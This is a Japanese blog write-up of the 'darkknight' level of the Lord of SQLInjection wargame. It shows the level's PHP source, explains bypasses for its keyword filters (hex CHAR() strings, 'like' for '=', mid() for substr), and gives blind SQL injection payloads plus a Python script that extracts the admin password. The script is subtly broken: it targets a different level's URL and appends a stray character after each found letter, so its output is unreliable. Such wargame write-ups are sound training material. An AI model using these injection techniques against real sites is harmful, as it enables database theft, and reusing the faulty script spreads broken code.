はまやんはまやんはまやん

hamayanhamayan's blog

darkknight [LORD OF SQLINJECTION]

Lord of SQLInjection

include "./config.php"; 
login_chk(); 
$db = dbconnect(); 
if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
if(preg_match('/\'|substr|ascii|=/i', $_GET[no])) exit("HeHe"); 
$query = "select id from prob_darkknight where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"; 
echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 

$_GET[pw] = addslashes($_GET[pw]); 
$query = "select pw from prob_darkknight where id='admin' and pw='{$_GET[pw]}'"; 
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("darkknight"); 
highlight_file(__FILE__); 

特徴は以下。

  • noとpwを入力する。以下フィルターがある
    • noはprob,_,.,(),',substr,ascii,=が使えない
    • pwは'が使えない
  • adminのpwを抜き取る必要がある。

これもBlind SQL Injectionを頑張る。
noは大変そうだが、pwも'が使えないので、noの方に頑張って入れていく。

代用する

こっちは単純な感じ。今までのbypass方法の集大成
0 || id like CHAR(0x61,0x64,0x6d,0x69,0x6e) && {md} < length(pw)

今まではasciiが使えたので、二分探索できた。
今回は使えないので、愚直探索で見つけていこう。
0 || id like CHAR(0x61,0x64,0x6d,0x69,0x6e) && mid(pw,{i+1},1) like char({ord(c)})

import requests

url = "https://los.rubiya.kr/chall/golem_4b52asdfasdfef5.php"
cookie = {'PHPSESSID': 'eodctasdfasdfasdf5'}

def check(data) -> bool:
    return "Hello admin" in data

ok = 0
ng = 30

while ok + 1 != ng:
    md = (ok + ng) // 2
    q = f"0 || id like CHAR(0x61,0x64,0x6d,0x69,0x6e) && {md} < length(pw)"
    res = requests.get(url, params={'no': q}, cookies=cookie)
    print(f"[+] try {md}")
    if check(res.text):
        ok = md
    else:
        ng = md

length = ok + 1
print(f"[*] length = {length}")

ans = ""
for i in range(0, length):
    for c in "abcdefghijklmnopqrstuvwxyz0123456789_ABCDEFGHIJKLMNOPQRSTUVWXYZ,":
        q = f"0 || id like CHAR(0x61,0x64,0x6d,0x69,0x6e) && mid(pw,{i+1},1) like char({ord(c)})"
        res = requests.get(url, params={'no': q}, cookies=cookie)
        if check(res.text):
            ans += c
            ok = True
            break

    ans += str(chr(ok + 1))
    print(f"[*] {ans}")

print(f"[*] find! {ans}")